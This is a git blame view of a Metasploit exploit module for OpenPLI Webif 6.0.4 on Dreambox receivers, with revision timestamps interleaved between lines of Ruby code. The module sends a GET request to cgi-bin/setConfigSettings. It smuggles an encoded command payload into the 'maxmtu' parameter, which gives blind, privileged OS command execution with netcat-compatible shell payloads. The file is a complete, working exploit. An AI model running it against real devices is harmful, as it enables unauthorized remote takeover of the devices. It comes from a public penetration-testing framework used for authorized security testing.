Files
metasploit-gs/modules/exploits/linux/http/dreambox_openpli_shell.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

73 lines
2.4 KiB
Ruby
Raw Normal View History

2013-02-16 20:42:02 +01:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-02-16 20:42:02 +01:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-02-16 20:49:32 +01:00
Rank = GreatRanking
2013-02-16 20:42:02 +01:00
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
2013-03-14 15:02:21 +01:00
'Name' => 'OpenPLI Webif Arbitrary Command Execution',
'Description' => %q{
Some Dream Boxes with OpenPLI v3 beta Images are vulnerable to OS command
injection in the Webif 6.0.4 Web Interface. This is a blind injection, which means
that you will not see any output of your command. A ping command can be used for
testing the vulnerability. This module has been tested in a box with the next
features: Linux Kernel version 2.6.9 (build@plibouwserver) (gcc version 3.4.4) #1
Wed Aug 17 23:54:07 CEST 2011, Firmware release 1.1.0 (27.01.2013), FP Firmware
1.06 and Web Interface 6.0.4-Expert (PLi edition).
2013-02-16 20:42:02 +01:00
},
2013-03-30 12:41:31 +01:00
'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
2013-03-14 15:02:21 +01:00
'License' => MSF_LICENSE,
'References' =>
2013-02-16 20:42:02 +01:00
[
[ 'OSVDB', '90230' ],
2013-03-14 11:18:52 +01:00
[ 'BID', '57943' ],
2013-03-14 15:02:21 +01:00
[ 'EDB', '24498' ],
[ 'URL', 'http://openpli.org/wiki/Webif' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-007' ]
2013-02-16 20:42:02 +01:00
],
'Platform' => %w{ linux unix },
2013-03-14 15:02:21 +01:00
'Arch' => ARCH_CMD,
'Privileged' => true,
'Payload' =>
2013-02-16 20:42:02 +01:00
{
2013-03-14 15:02:21 +01:00
'Space' => 1024,
2013-02-16 20:42:02 +01:00
'DisableNops' => true,
2013-03-14 15:02:21 +01:00
'Compat' =>
2013-02-16 20:42:02 +01:00
{
'PayloadType' => 'cmd',
2013-03-14 11:18:52 +01:00
'RequiredCmd' => 'netcat generic'
2013-02-16 20:42:02 +01:00
}
},
2013-03-14 15:02:21 +01:00
'Targets' =>
2013-02-16 20:42:02 +01:00
[
[ 'Automatic Target', { }]
],
'DefaultTarget' => 0,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2013-02-08'
2013-02-16 20:42:02 +01:00
))
end
def exploit
2013-03-14 15:02:21 +01:00
print_status("#{rhost}:#{rport} - Sending remote command...")
vprint_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
2013-02-16 20:42:02 +01:00
begin
2013-03-14 15:02:21 +01:00
send_request_cgi(
{
'uri' => normalize_uri("cgi-bin", "setConfigSettings"),
2013-02-16 20:42:02 +01:00
'method' => 'GET',
2013-03-14 15:02:21 +01:00
'vars_get' => {
"maxmtu" => "1500&#{payload.encoded}&"
}
2013-02-16 20:42:02 +01:00
})
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
2013-08-15 16:50:13 -05:00
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
2013-02-16 20:42:02 +01:00
end
end
end